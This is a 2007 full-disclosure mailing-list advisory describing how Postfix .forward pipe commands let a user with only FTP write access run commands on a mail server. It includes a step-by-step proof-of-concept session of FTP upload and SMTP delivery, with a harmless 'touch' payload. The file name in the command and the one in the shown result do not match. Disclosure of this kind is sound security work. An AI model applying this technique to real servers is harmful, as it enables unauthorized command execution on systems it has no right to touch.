full-disclosure - Small Design Bug in Postfix

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Date: Thu, 13 Dec 2007 21:18:54 +0100
From: "kcope" <kingcope@....net>
To: full-disclosure@...ts.grok.org.uk
Subject: Small Design Bug in Postfix - REMOTE

Small Design Bug in Postfix - REMOTE

There's a small issue on how Postfix forwards mails.
A user can have a .forward file in her home directory.
Inside this file she can specifiy an alternative recipient
or use aliasing to execute commands when mail is received.
>>From the manpage ALIASES(5)
"aliases - Postfix local alias database format"

|command
              Mail is piped into command. Commands  that  contain
              special  characters,  such as whitespace, should be
              enclosed between double quotes.  See  local(8)  for
              details of delivery to command.

              When the command fails, a limited amount of command
              output is mailed back  to  the  sender.   The  file
              /usr/include/sysexits.h  defines  the expected exit
              status codes. For example, use "|exit 67" to  simu-
              late  a  "user  unknown"  error,  and  "|exit 0" to
              implement an expensive black hole.

This is fine since postfix properly drops privileges before
executing the command.
The Problem with executing commands via .forward files is that
if someone manages to place a file into ones home directory and
just sends a file to the mailserver she can execute commands
even when she's not supposed to or does not have the privileges.

Here is an example exploitation session, the user 'rootkey'
only has ftp access with write permissions and no other privileges than that.

Login to FTP server
>telnet box 21
>USER rootkey
>PASS rootkey123
<logged in

Put .forward file with following contents into the home directory of
user 'rootkey'.

---snip---
|touch /tmp/XXX
---snip---

>put .forward

Now send an email to user rootkey.

>telnet box 25
>mail from: rootkey
>rcpt to: rootkey
>data
>.

RESULT:

kcope@box:~$ ls /tmp/testXXX
/tmp/testXXX

signed,

- -kcope/2007

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